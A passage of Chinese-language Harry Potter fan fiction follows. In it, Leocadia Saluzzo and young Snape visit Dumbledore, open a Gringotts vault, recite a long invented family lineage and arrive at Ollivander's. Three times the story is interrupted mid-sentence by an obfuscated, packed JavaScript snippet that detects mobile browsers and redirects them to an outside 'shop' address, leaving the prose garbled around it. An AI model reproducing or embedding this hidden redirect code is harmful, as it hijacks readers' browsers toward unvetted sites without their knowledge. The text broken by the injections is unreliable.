“我们只是去见邓布利多校长,”他艰难地捂住脸,“亲爱的,我们不是去凡尔赛宫走秀。” 莱奥卡蒂亚的脸半遮半掩在装饰着羽毛的帽子下,相当有攻击性地冷冷笑着:“你以为我乐意?” 玛利亚和她叨叨了一晚上萨卢佐家族的体面,大有她不答应就给祖父发电报的意思。 对玛利亚的妥协代表她今天八点就起床穿束腰。 连她常年波澜不惊的情绪都因为身上的装扮开起了海盗船。 弗雷德里克豪不夸张地说,要是她会三大不可饶恕咒,指不定就要给他表演一个无杖无声索命咒了。 但是。 “——噗哈哈哈哈哈哈哈哈哈!” 对不起,他受过严格的训练,一般是不会笑的,除非是忍不住。 莱奥卡蒂亚眼神沉寂地对上他的眼睛。 弗雷德里克赶忙闭眼转身:“好了好了我错了,来,抓住我的手臂,千万别松开,我先带你们幻影移形去破釜酒吧。” 玛利亚递上那个点心盒子,和巨大一个扎着绸缎蝴蝶结的礼品盒,全部塞到弗雷德里克手上:“请别忘了这些!” 被坠得手疼的弗雷德里克:“……说真的,我们只是去和邓布利多校长轻松愉快的聊天,不是去拜访麻瓜首相。” “我们意大利人是这样的,你忍忍吧。”莱奥卡蒂亚挽上他的左臂。 斯内普回忆着课上说的幻影移形的要点,也紧紧抓住弗雷德里克的右臂。 “咦?你还带上西弗勒斯?” 最近他的出场频率是不是有点高? 不过,这副打扮还真是新奇,以他的眼光来看,这个颜色还挺适合这个整天阴沉沉的小男孩的。 “希望这不会让你困扰。”斯内普假笑,“如果困扰的话,我可以请你在对角巷吃饭。” 当然,他请客,弗雷德里克付钱。 弗雷德里克倒是不介意多带一个人,也不需要他请客吃饭,一只羊也是赶两只羊也是赶,说不定邓布利多也会欣赏这个小伙子呢。 啪! 仿佛穿过一根很紧的橡胶管,又陡然被拽出来,莱奥卡蒂亚面色如常地看向面前脏兮兮闹哄哄的酒吧。 弗雷德里克指指酒吧招牌:“破釜酒吧后面就是对角巷啦,不过得等我们见完邓布利多校长才能去。” 斯内普观察着周围行人的表情:“他们看不见这间酒吧?” “当然,这里施了忽略咒,只有巫师才能看见。” 弗雷德里克一手一个小朋友:“来来来,我们进去吧——嘿汤姆,我要借用壁炉!” “随你用吧。” 昏暗的酒吧里三三两两坐着几个巫师,莱奥卡蒂亚微微眯起眼睛,大脑封闭术悄然开启,然后和斯内普一起盯着店里的壁炉观察。 “弗雷德里克,好久不见,改天一起喝一杯?”一名巫师朝他们举杯。 “当然没问题,我请客。”弗雷德里克应付一句。 他从壁炉旁边的盒子里捏出一撮粉末撒入壁炉,腾起碧绿的火焰。 “飞路粉和飞路网,课上讲过,所以就算你们能回答我的问题也不加分:如果我们要通过飞路网去对方的壁炉,我们应该怎么做?” 莱奥卡蒂亚和斯内普都用看白痴的眼神看了弗雷德里克一眼。 斯内普略带嘲讽地说:“我和莱奥卡蒂亚都不至于不记得这个——所以我们要去哪里?” 如果再不到达目的地,斯内普觉得气压很低的莱奥卡蒂亚就要变出枪给弗雷德里克一梭子了。 弗雷德里克嘟哝:“好吧,你们两个一点都不如莉莉可爱。” 他走进壁炉,发音清晰,大声说:“霍格沃茨的校长办公室!” 火焰吞噬了他,再次平静时,壁炉里就没有了他的踪影。 莱奥卡蒂亚双眼微亮:“不知道入学后我能不能申请飞路网节点。” 方便,比飞机快,可以随时回意大利,想想就开心。 斯内普勾起唇角:“只要你给魔法部塞钱就行,萨卢佐家族的大小姐。” 不等莱奥卡蒂亚说什么,他就捏起飞路粉扔进壁炉,学着弗雷德里克的样子走进去大喊:“霍格沃茨的校长办公室。” 莱奥卡蒂亚无意识地鼓起脸颊,也捏起飞路粉。 “霍格沃茨的校长办公室。” 她感觉身体像陀螺一样转了一会儿,幸好在她头晕之前就到达了目的地。 一只手臂伸到她面前。 是斯内普。看起来有点晕乎乎的样子,但脸色不算差。 莱奥卡蒂亚扶着他的手臂从壁炉里走出来,给自己用了个清理一新。 “相当漂亮的无杖无声咒,很难相信你才九岁,萨卢佐小姐。”老人和蔼的声音里并没有多少探究,“第一次走壁炉的小巫师通常会头晕,请过来,我准备了一些柠檬雪宝——吃点酸的有助于缓解头晕和胸闷。” 莱奥卡蒂亚抬眼看去。 宽敞又美丽的圆顶圆形房间,墙上挂着的画框,充斥各个角落的魔法物品,办公桌上没有拆开的点心盒和礼品盒,这些不重要,重要的是宽大办公桌后笑眯眯的老者。 莱奥卡蒂亚对上那双镜片后的蓝眼睛,缓缓握紧了斯内普的手臂。 不疼,但是奇怪于她的失态,斯内普朝她露出一个疑惑的表情。 莱奥卡蒂亚没有理他,只是沉默许久后,才悄然露出一个真心实意的笑容:“您好,阿不思·邓布利多先生,希望我和西弗勒斯没有打扰你的空闲时光。” 邓布利多相当愉快地招手:“先过来坐下吧,你的裙子可不适合久站。” 并贴心地去掉了正对面这把椅子的椅背。 弗雷德里克正坐在最右边的靠背椅上,莱奥卡蒂亚大大方方地坐在邓布利多正对面,斯内普坐在她的左侧,坐得是靠背椅。 “请原谅一位老人不合时宜的回忆,但我仿佛回到了十五年前。”邓布利多摘下星星眼镜,用袖子擦拭镜片,“费德丽卡昂首阔步地走进霍格沃茨,分院帽刚刚挨上她的金发就把她送进了拉文克劳,而她也为拉文克劳拿了三年的学院杯——有人说过你和费德丽卡很像吗,孩子?” 莱奥卡蒂亚颔首:“祖父和爸爸都说过,我们眼睛和下巴的形状是一个模子里刻出来的。” 邓布利多笑起来:“哦,当然,一样锐利的眼神。只是你的轮廓不像她。” 他挥挥手,茶壶给他们添上红茶:“那这位小先生呢?我觉得你的轮廓也很眼熟。你的父亲或母亲也是巫师吗?” 斯内普拘谨地点头:“我叫西弗勒斯·斯内普。我的母亲是巫师,她叫艾琳,婚前的姓氏是普林斯。” “哦,艾琳·普林斯小姐,”邓布利多了然点头,“她可是位魔药天才,弗雷德里克说你也继承了普林斯家的魔药天赋。这可真是一个好消息。” 斯内普矜持微笑起来,但谁都看得出来他小幅度笑容下的高兴。 “弗雷德里克在信里和我说了很多事,萨卢佐小姐,”邓布利多看向莱奥卡蒂亚,“另一位小姐也来找过我,也许你有所耳闻。” 莱奥卡蒂亚乖巧微笑。 “虽然我认为你的母亲完全可以把你培养成一位优秀的巫师,但霍格沃茨的藏书和教授们渊博的学识对你来说也是不可或缺的。”邓布利多俏皮地冲她眨眼睛,“还有变形术和炼金术——毫不谦虚的说,我认为我能教导你一二。” 莱奥卡蒂亚求之不得:“那是自然,母亲说您在这两方面的造诣举世无双。所以我来霍格沃茨深造,有一部分原因是因为您在这里。” “感谢你的信任和夸奖。”邓布利多朝弗雷德里克点头,“弗雷德里克,我想请你先带斯内普先生在校园里逛一逛,熟悉一下他未来的学校。” 弗雷德里克知道他们有话要说,耸耸肩:“当然,我闭着眼睛都能带他逛。走吧西弗勒斯。” 斯内普侧头看莱奥卡蒂亚。 莱奥卡蒂亚轻轻点头,用眼神示意他不用管自己,他才起身和邓布利多告辞。 目送着两人关上校长室的门后,邓布利多就看向莱奥卡蒂亚,眼神柔和得像山林间的泉水:“孩子,我能叫你莱奥吗?” 莱奥卡蒂亚并不介意这个:“当然可以。” “不敢相信,”就像看见了什么稀世珍宝一样,邓布利多毫不吝惜自己的夸赞,“你比我认识的另一位摄魂取念者的天赋还要强大。” “您说的是那位奎妮·戈德斯坦女士?”莱奥卡蒂亚端起茶杯抿了一口,“也许我该谦虚一点,但我自信我比她更擅长——您年轻的时候很帅气。” “说到我年轻时的样子,在这一点上我比你更有自信。”邓布利多笑得胡须都在抖,“我没想到……他被你气得跳脚的样子都有点不像他了,哦,当然我还挺高兴的。” 莱奥卡蒂亚略显得意地笑起来:“Mr. Mentor(导师先生)知道我要来霍格沃茨之后确实发了好大一通火,他说德姆斯特朗更适合我,但了解一些内情后,我对走上他的老路没兴趣。” “我毫不怀疑他现在对欧洲魔法界的掌控力度,也不得不说,他精简信徒之后反而更具有优势了。不过你应该也清楚,他放弃的那批黑巫师也给我带来了不小的麻烦。” 邓布利多的语气可不像抱怨。 倒有点乐在其中。 只不过莱奥卡蒂亚确实无法准确地读取他的情绪,这位本世纪最伟大的白巫师确实精通大脑封闭术和摄魂取念。 当然,刚刚她们是相互摄魂,以表尊敬。邓布利多获取了自己想要的内容,莱奥卡蒂亚也知道了这位校长是可信的,毕竟他分享的记忆……让莱奥卡蒂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299278|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚看得很开心。 如果刚刚邓布利多选择回避她的视线,或者用大脑封闭术阻隔她的摄魂取念,莱奥卡蒂亚可能会第一时间转身就走。 莱奥卡蒂亚指尖轻点,打开桌上的点心盒:“这些都是导师喜欢吃的甜品,哪怕他不喜欢麻瓜,也不得不承认玛利亚的手艺。” 这是莱奥卡蒂亚带玛利亚来英国的第二个原因,让那个用心险恶的老头吃不到符合心意的甜品。 今天也是导师和学徒相互伤害的一天呢。 邓布利多挥手,变出两个精致的碟子,又飘出来两块提拉米苏:“那我可得好好尝尝。” 在吃到第一口时,邓布利多就比了个大拇指:“真希望玛利亚夫人能指导学校的家养小精灵。” “我想玛利亚也不会介意。”莱奥卡蒂亚对家养小精灵这样的存在形式还挺好奇的,就是不知道会不会吓到玛利亚。 “在我面前你可以放松一点,莱奥,我认为我们的关系不用太过拘谨。现在我有个提议,”邓布利多暂时放下叉子,“也许你可以提前去奥利凡德那里买一根魔杖。” 莱奥卡蒂亚有一点惊讶:“不是说只有入学前才能买魔杖吗?” 邓布利多摇头:“魔法对于小巫师来说是一把双刃剑,在魔力还不稳定的年纪,贸然施法不是一件好事。而且魔法界没有——麻瓜说的学前教育之类的——能力在小巫师们入学前插手他们的家庭教育。” “但你不同,莱奥,”邓布利多神色温和,“我一开始有些担心你会走上盖勒特和汤姆的老路——强大的天赋,盖勒特手中的资源,还有你在麻瓜世界的身份,这一切都是不稳定的变数。” “但今天,我看到了你的内心,”邓布利多隔空点点她的心口,“你有一个令我都惊讶和向往的梦想,哪怕只是一个模糊笼统的雏形。我相信你有足够的自控能力,去使用和学习魔法。” 莱奥卡蒂亚对邓布利多的高度评价有点不解:“实际上,我只是想带领萨卢佐家族走上巅峰……” 怎么回事?在你眼里这个充满私欲的想法这么有潜力吗? 难不成是对比产生美? 这么一看,她的目标确实是比导师先生和伏地魔的美好不少。 邓布利多神秘一笑:“相信我,我对费德丽卡的孩子有信心。” ……好吧。 莱奥卡蒂亚再次掩饰性地举起茶杯喝了一口。 他们又聊了一些莱奥卡蒂亚的学习进度,得知她已经开始学习五年级的课程,邓布利多相当欣慰地给她列了一张书单。 “这些都是我个人推荐的书,里面许多都是学生们可能一辈子都接触不到的内容。”邓布利多语气深沉,“如果你就此走上歧路……” 莱奥卡蒂亚接话:“母亲不会同意我走上那种道路的。” 邓布利多无比赞同:“所以我有时候会怀疑分院帽是不是把她分错了学院。” 费德丽卡明明是狮子的性格嘛。 邓布利多直到今天都在惋惜。 邓布利多吃完提拉米苏,收拾好桌面才提出另一个想法:“我个人认为,也许斯内普先生也需要一根魔杖。弗雷德里克说他在魔咒上也很有天赋,虽然比不上你的进度,但也可以顺利施咒了。” 莱奥卡蒂亚迟疑:“西弗勒斯?” 斯内普肯定不会拒绝提前拥有魔杖,可是这样一来,他们这个学前教育小班里只有莉莉没有魔杖…… 莉莉会生气的吧。 邓布利多猜到她在想什么,于是轻轻晃动脑袋,蓬松的胡须随着他的动作晃动:“我认为那位莉莉·伊万斯小姐不会介意的。当然,如果她介意的话……” 他拉长语调。 “我也没办法。”邓布利多两手一摊。 莱奥卡蒂亚:…… Fine. 导师先生,你没说过你前男友是这种性格吧。 也可能是分手太久都忘了对方的脾气了? 邓布利多抬手,放出凤凰守护神去找弗雷德里克。 莱奥卡蒂亚突然反应过来:“我忘了,还有一件事。我没有巫师的货币。” “哦,这不算是问题。你身上有带麻瓜的货币吗?提前去一趟古灵阁也没什么不好的。如果没有我可以先替你们垫付。”邓布利多倒是不介意这个。 莱奥卡蒂亚轻快点点头,从袖子里拿出一个小钱袋,抽出一本支票:“我一次可以签两万美元的支票——古灵阁支持用支票吗?” 从来没用过支票的邓布利多:…… 好吧,其实老人家也有不知道的东西耶。 “等等,费德丽卡应该给你开过古灵阁金库了吧?” “……母亲没说,也没给我任何信物。” 邓布利多:“哦,可能她忘了,这很正常。” 莱奥卡蒂亚:“好吧,确实有可能。” 11. 11 弗雷德里克带着斯内普回校长室时笑容满面。 斯内普落后两步,一脸嫌弃。 莱奥卡蒂亚的眼神在他们俩之间打转,然后凑近斯内普耳边,小声逼逼:“他闻起来像是吃了一整个蜂巢一样。” 斯内普用手挡住嘴唇:“他在和一个七年级的拉文克劳学生谈恋爱。” 莱奥卡蒂亚准备缩回去。 “是个男生。” 莱奥卡蒂亚不动了:“回去详细说给我听。” 斯内普诧异看她一眼:“你不觉得奇怪吗?” 莱奥卡蒂亚淡定异常:“不觉得。” 看,那个笑眯眯的白胡子老头年轻时有一段堪称荡气回肠、曲折艰险的恋情,还完美的打出be了,也许他们格兰芬多都是这样喜欢“为爱哐哐撞大墙”的勇士。 斯内普对这种事其实也无所谓,蜘蛛尾巷里什么人都有,他从小就习惯看到各种取向,然后把所有人当空气。 邓布利多和弗雷德里克说完话,牵起两个说悄悄话的小朋友:“好了孩子们,你们的临时监护人换成我了,现在我们该出发了。” 下一秒,斯内普的手被老校长宽大温暖的手整个包起来。 他被邓布利多的温度烫了一下,缩了缩后背。 “……我们去哪?”他小声问莱奥卡蒂亚。 莱奥卡蒂亚笑得像看见喵喵叫的小奶猫似的:“对角巷,去买魔杖。” “什……” 凤凰落在邓布利多肩上,只是一瞬,他们就到了一条铺着鹅卵石、两边全是店铺的巷子。 “应莱奥的要求,我们先去古灵阁给她开个账户吧。”邓布利多作为大人敲定了行程。 斯内普突然僵起脸,因为被拉着换了身衣服,他就忘了把钱包带上了。 莱奥卡蒂亚一眼扫过去,又抬头看向邓布利多:“邓布利多校长,我看到高年级的魔药课本上有一种魔药叫缓和剂,可以舒缓情绪。您知道这种魔药的市价是多少吗?” 斯内普看向她:你不是早就知道了吗? 莱奥卡蒂亚轻轻眨眼。 邓布利多笑着说:“那可是五年级才能学的魔药,而且制作过程相当复杂严谨,市面上的品质参差不齐——你们以后的魔药课教授,斯拉格霍恩教授出品的可以卖到2加隆一瓶,中等的1加隆到15西可不等。”* “无梦酣睡剂呢?” “也是相似的价格。” “我记得还有一些外伤用的药膏?” “是的,但都很便宜,因为是很基础的药膏。” 斯内普意识到什么,双眼里的疑惑变成了然,又有点被看穿的羞赧。 很好,这次的情绪很好闻出来。 莱奥卡蒂亚满意地心算一会儿,然后抬脚,点缀着珍珠的鞋尖绕过邓布利多,轻轻踢在斯内普小腿上:“刨去成本,就算1加隆一瓶吧,一根魔杖7加隆,你得给我做三瓶缓和剂四瓶无梦酣睡剂,再加上利息,我要能消肿的药膏。” 练习格斗的时候总是需要治疗跌打扭伤的药膏,提前让这个点满魔药天赋的家伙研究研究,说不定以后能申请专利。 斯内普被那颗珍珠卡在麻筋上,腿瞬间酥了,艰难忍住龇牙咧嘴地冲动:“看起来我的作品在萨卢佐小姐眼里很值钱。” “不一定,品质要达到那位斯拉格霍恩教授出品的品质。”莱奥卡蒂亚抬起下巴,“不然我就不收。” 斯内普不知道什么是激将法,但他知道不能让魔药水平一般的莱奥卡蒂亚嘲笑自己:“你等着吧,我绝对能做出品质更好的魔药来!” “略略略,我不信,除非你做出来。” “我回去就做!” 邓布利多拉着两个吵吵闹闹的孩子,心中感慨:年轻真好啊。 路上有各种年龄的巫师朝邓布利多问好,又用各种眼神看着他手边的两个孩子。 莱奥卡蒂亚安静下来,运转大脑封闭术。 也许是巫师的心声也带有魔力,他们的心声和情绪往往更加嘈杂,记忆也更容易被看见,可以说一个巫师抵得上五六个成年人或五十只鸭子,还是自带“声音洪亮”的鸭子。 斯内普不再跟她拌嘴:“很吵吗?” 莱奥卡蒂亚僵硬点头。 邓布利多拿出魔杖在莱奥卡蒂亚耳朵旁点了一下:“我自创的小咒语,希望能帮到你。” 莱奥卡蒂亚脑海中潮水一样的声音小了很多,暖和的春风拂过大脑,让她缓和下来:“我感觉好多了。这个能教我吗?” 邓布利多拍拍她的肩膀:“等你拿到魔杖我就教你。看,我们到古灵阁了。” 一个妖精远远地就迎上来——莱奥卡蒂亚觉得他这是闻到邓布利多身上的糖果味了——那双细小的眼睛里带着谄媚的味道:“邓布利多先生,真难得,您竟然亲自过来了。” 贪婪和充满算计的味道不算好闻,莱奥卡蒂亚悄悄调整呼吸的频率,免得露出什么不好的表情。 邓布利多温和点头:“是啊,带一位小淑女来古灵阁开一个金库,毕竟古灵阁是全英国最好的银行。” 妖精本就尖利的声音更加刮耳朵了:“哦,那是当然。既然是您带过来的小巫师,那必然是古灵阁的贵客。请进来,我亲自招待你们。” 他们被带到一个装潢华丽的小房间里,妖精给他们倒了茶:“这位小姐需要什么级别的金库呢?从最小的到最大的,哦,当然,安全性随着级别的增高而增高,只是……” 莱奥卡蒂亚明白他的意思:“只是保管费也更高,是吧?” 妖精努力露出一个看上去真诚无比的笑,但老实说这让他橘子皮一样的脸更邪恶了:“是的,聪明的小姐,虽然我不知道您的姓氏,但看起来您对我们的服务有一定的了解。” 因为瑞士银行的规矩差不多。 “我姓萨卢佐,”莱奥卡蒂亚拿出那本支票,手指点在上面,“普通金库就好。你们收支票吧?” “好吧,当然,只是需要……”妖精挤眉弄眼。 “需要手续费?几个点?”莱奥卡蒂亚熟稔点头。 “这……妖精的价格是很公道的,只需要20……”妖精的眼睛咕噜咕噜转起来。 邓布利多微笑着叫他:“皮尔刚。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299279|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 妖精抖了一下:“哦,好吧……看在邓布利多先生的面子上,以后不管您存多少,我们只收取五个金加隆的手续费。” 莱奥卡蒂亚哼笑:“5加隆似乎也不便宜了。不过好吧。” 她“唰唰”写下一串数字,妖精紧紧盯着上面的零……一个,两个……三个! “这是意大利萨卢佐银行的不记名支票,但只能去萨卢佐银行支取,不过伦敦也有一家分店,进去直接出示给经理就能在五分钟内提现。” 莱奥卡蒂亚在票头写下英镑的符号,写上自己比邓布利多全名还长的全名,又从钱袋里拿出自己的印章盖在签名上,“好了,这样就行了。” 她的印章和萨卢佐家的家徽相似,只是“SALUZZO”换成了“LEOCADIA”,狼首换成了振翅欲飞的渡鸦。 妖精立刻拿起那张薄薄的单据,眼睛都快抵在那串数字上了,兴奋到颤抖:“看啊!八千四百英镑!按照五英镑换一加隆的汇率,可以兑换……”** “一千六百八十金加隆。”莱奥卡蒂亚报出来,“这个数字应该不算多。” “确实如此,比起一些古老高贵的纯血家族的金库来说确实不多,”妖精脸上的谄媚更多了,“但不是所有纯血家族的小巫师都能随意拿出这么多钱的。” 他看中的是莱奥卡蒂亚风轻云淡的态度,和家里有银行的实力。 萨卢佐……意大利的萨卢佐…… 妖精记下这个姓,打算找他们在麻瓜世界的代理人打听打听。 莱奥卡蒂亚则是疑惑:听弗雷德里克的意思是纯血家族挺厉害的……但他们的现金流不算大吗? 也许是因为巫师的货币是贵金属,也没有进出口的大宗交易? 或者巫师不看重钱,而是看重家族底蕴啦、珍藏啦、姻亲的姓氏啦之类的东西吗? 这思想还挺复古的,萨卢佐家要是也搞这套说不定早就血脉断绝了。 她按下疑问,在妖精递过来契约书上签字。 她打量着签名处的空白:“这个,要写全名吗?” “是的小姐。” “……好吧,还有,我要取五十金加隆。” “好的小姐,稍后我会把金库钥匙和您取的金加隆带过来,您可以在这里休息一会儿。” 等妖精离开,她揉揉有点发酸的手:“虽然我的名字是祖父取的,但我还是要说它们确实有点长了。” 邓布利多笑着:“其实我的全名也相当长,每次签正式文件都让我头疼。” 没有这种苦恼的斯内普看着周围的装潢:“这里和你家挺像的。” 莱奥卡蒂亚有点茫然,又有点对斯内普审美的不屑:“根本不像好吧。” 到处阴沉沉的,哪有我亲自挑选的洛可可风家具好看? 那都是和安妮皇后同时代的正统洛可可风家具! 邓布利多对萨卢佐这个意大利姓氏也有所耳闻:“据我所知,萨卢佐家族从古罗马时期就延续至今,那可是比四位创始人还要遥远的年代。” 莱奥卡蒂亚含糊答应一声,算算时间,开始默背家谱。 12. 12 按照《霍格沃茨:一段校史》记载,四巨头建立霍格沃茨的时间是公元993年。 这一年,华夏西南地区掀起了一场以“均贫富”为口号的起义;奥托三世签发的敕文中首次提到“奥地利”这个名称;天.主.教于这一年首次进行教宗册封圣徒的仪式,只可惜教宗还没有完全取得册封权。 而萨卢佐家族的辉煌始于罗马共和国。 公元前52年,萨卢佐的第一位家主从出任高卢总督的盖乌斯·尤利乌斯·恺撒手中接过那柄狼首金剑,被称为“王座之下的狼群”的萨卢佐家族在史书上的有了第一笔记载; 962年,德意志国王奥托一世在罗马由教皇约翰十二世加冕称帝,两年后,萨卢佐的第52任家主安德烈·冯·萨卢佐被封为边境伯爵;* 两个月后,奥托一世迎娶意大利已故先王的王后阿德莱德,并委任萨卢佐家族的旁支血裔协助王后管理意大利; 12世纪,腓特烈一世继位,萨卢佐第70任家主与其弟密谈一夜,三个月后,萨卢佐家族的主支第一次踏上西西里岛,萨卢佐开始分为日耳曼萨卢佐和意大利萨卢佐; 1130年,西西里王国建立,意大利萨卢佐在罗杰二世的支持下参与政治,帮助罗杰二世的遗腹女嫁给了当时神圣罗马帝国皇帝腓特烈一世的在世长子亨利,成为西西里王国的女王;** 自此,萨卢佐成为西西里王国除王族外最有权势的家族,几经王朝更替的风雨,依然屹立不倒,与日耳曼萨卢佐亲密依旧; 1356年,神圣罗马帝国的查理四世颁布金玺诏书,确认皇帝须由七大选帝侯推选。日耳曼萨卢佐压错了棋,家主秘密将长子、家族大部分产业和财富托付至意大利; 1378年,萨尔韦斯特罗·德·美第奇镇压梳毛工起义事件,成为佛罗伦萨的正义旗手,意大利萨卢佐家主在一桩生意的邀约下来到佛罗伦萨,意外与萨尔韦斯特罗成为密友,并将私生女嫁给他; 萨尔韦斯特罗之子,乔凡尼·迪比奇·德·美第奇恢复了家庭时运,使美第奇家庭成为欧洲最富裕的家族; 1434年,柯西莫·美第奇在佛罗伦萨建立起僭主政治,成为佛罗伦萨的无冕之主。 意大利萨卢佐全力支持,家主长子迎娶柯西莫·美第奇的女儿,生下三子两女,其中次子过继给柯西莫长子皮埃罗一世,取名洛伦佐,是为柯西莫之孙; 1469年,皮埃罗一世去世,科西莫之孙洛伦佐·德·美第奇继任佛罗伦萨佐僭主,美第奇与萨卢佐自此密不可分: 美第奇家族诞生的四位教皇(庇护四世、利奥十世、克莱门特七世、利奥十一世)、两位法国王后(凯瑟琳·德·美第奇、玛丽·德·美第奇),身上都流有萨卢佐的血液; 每一次美第奇家族的活动,都有萨卢佐的身影在幕后行走,如蜘蛛般控制着蛛网,狼群的阴影遍布整个意大利,向欧洲渗透。 1493年~1519年,腓特烈三世之子马克西米利安一世统治期间,哈布斯堡皇室的权势通过皇室联姻和金钱贿.赂得以进一步增强。 日耳曼萨卢佐彻底衰落,刚上任不久的家主被秘密斩首,其妻改嫁意大利萨卢佐家主,两支萨卢佐重新融为一体; 1600年,身上流淌着萨卢佐血脉的玛丽·德·美第奇嫁与亨利四世,成为法国王后和路易十三之母,亨利四世死后为法国摄政王,萨卢佐在摄政王的支持下,于法国铺开大量国际贸易的业务; 1608年,产业遍布欧洲的萨卢佐将目光投向了新大陆; 1737年7月9日,最后一任美第奇家族的托斯卡纳大公吉安·加斯托内·德·美第奇逝世。 吉安没有子嗣,根据其生前遗嘱和萨卢佐家族的运作,美第奇家族的财富由其侄子、教子,佛罗伦萨·冯·乔凡尼·萨卢佐继承。 佛罗伦萨·萨卢佐花费一生,才将美第奇和萨卢佐两个庞然大物合并,并规定,继承家主之位的子孙,必须冠以“美第奇”之名。 二十世纪,莱奥卡蒂亚的爷爷、现任萨卢佐家主,莱奥纳多·冯·洛伦佐·朱利安·美第奇·萨卢佐在两次世界大战中周旋搏杀,用鲜血洗去一些尾大不掉的痼疾,稳稳地将这艘千年大船驶向二十一世纪。 下一位内定的接棒人莱奥卡蒂亚一边背诵,一边在心里为先祖和亲爱的祖父挥舞手帕:这么一想,萨卢佐确实厉害。 也许是背诵谱系的时间太久,邓布利多有些担心地拍拍她的肩膀:“怎么了?” 莱奥卡蒂亚下意识回答:“没什么,只是觉得学魔法有点浪费我的姓和时间。” “但巫师的寿命普遍长于麻瓜,”邓布利多面色不改,“这短短七年的学习时间只是人生的一小部分,说不定却能在未来的某天帮助你许多。” 莱奥卡蒂亚也回过神来,尴尬地咳嗽:“咳,是我想岔了。怎么那位皮尔刚先生还不回来?” 斯内普条件反射地观察她的脸色:“你冷吗?” 然后脱下马甲,披在她肩上。 “妖精的咒语很复杂,需要多一点时间,”邓布利多也给她用了保暖咒,“看,魔法还是挺有用的。” 莱奥卡蒂亚拢着肩上带着体温的衣服:“都说了刚刚是我想岔了……” 她冰凉的指尖拂过袖口绣着的拉丁文: “Quasi aquila acuta quasi luporum,quasi luporum multitudo, et sublimis ut tigris, et astutia ut vulpes.”**** 像鹰一样敏锐,像狼群一样不死不休,像虎一样威严,像狐狸一样狡猾。 # 莱奥卡蒂亚的手袋装不下太多金币,她就数出二十枚,其他全部塞进斯内普的口袋里。 斯内普口袋里揣着沉甸甸的金币,差点连路都不会走了:“喂,很重的,你自己拿着啊。” 莱奥卡蒂亚头也不抬地观察着金加隆的样式:“那就等会儿全部花掉好啦。” 斯内普无语:“金币难道是什么很烫手很好花出去的东西吗?” 莱奥卡蒂亚说他今天所有的开销都算在她头上,要么用魔药偿还,要么用英镑——但用英镑要收利息和兑换手续费。 啧,掉进钱眼里的资.本.家大小姐。斯内普暗自吐槽。 可恶的资.本.家大小姐坦然又自然地说道:“没关系,花不完改天再花,钱这种东西总有一天能花完的,所以我才要努力赚钱。” 斯内普:……真的不是很懂你们有钱人。 邓布利多带着他们来到奥利凡德的魔杖店,推开门:“加里克先生?希望你有时间接待两位特殊的小巫师。” 莱奥卡蒂亚注意到门口的招牌上写着:“奥利凡德:自公元前382年即制作精良的魔杖。” 啊,终于看到一个比我家古老的了。 她脸上划过只持续一眨眼的促狭。 却被正好侧头的斯内普尽收眼底。 斯内普不解:看招牌有什么值得开心的? 但他没有问出口。 他们肩并肩走进有些昏暗的店铺内。 店堂内的空间很小,除了一条长椅别的什么也没有,几千只装魔杖的狭长盒子几乎码到天花板上。 莱奥卡蒂亚觉得这样的环境有一点眼熟,有点像家里用来存放一些重要票据的房间。嗯,改天让会计点一点,看看哪些账可以“催一催”了。 “加里克先生?”邓布利多又提高了一点音量。 这回终于有了回应:“哦,是邓布利多先生……魔杖们在骚动,我不得不安抚它们。啊,你带来了两个天赋绝佳的孩子……当然,他们没有到应该拥有魔杖的年纪,但他们还没进门,我就听见了魔杖们的躁动……嗯,年龄小了点……” 一个瘦高的人从魔杖盒子砌成的层层墙壁后走出来,头发花白蓬松,气质有点像给莱奥卡蒂亚制作小提琴的那位大师或者她爸爸——那种对某种事物专注到极致的气质。 有点神经质,但绝对认真。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299280|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 莱奥卡蒂亚相当尊敬这样的人。 因为他们的心是纯粹的。 “你说得不错,他们还不到入学的年龄,但我认为他们有提前拥有魔杖的实力。”邓布利多轻轻在莱奥卡蒂亚和斯内普背上推了一下。 莱奥卡蒂亚上前一步,提起裙摆,朝他行屈膝礼:“你好,奥利凡德先生。” 斯内普紧张地鞠躬:“你好。” “让我看看,一位淑女,一位绅士,邓布利多先生,我相信你即将拥有两位了不起的学生。”奥利凡德从柜台上拿起一把卷尺,“好,来,让我给你们量一量…谁先来?” 莱奥卡蒂亚在斯内普谦让之前踢了一下他的脚后跟,让他被迫前进一大步。 斯内普:? 奥利凡德跟没看见一样,指挥着斯内普张开双臂,嘀嘀咕咕:“臂长……好的:腿围……腰围……有点细了,要好好吃饭啊。” 斯内普不回头也知道莱奥卡蒂亚在偷笑。 “嗯,嗯,好的,确实,没有十一岁的体魄,但也差不多,可以估算一下……”奥利凡德瘦长的手指挠了挠乱糟糟的头发。 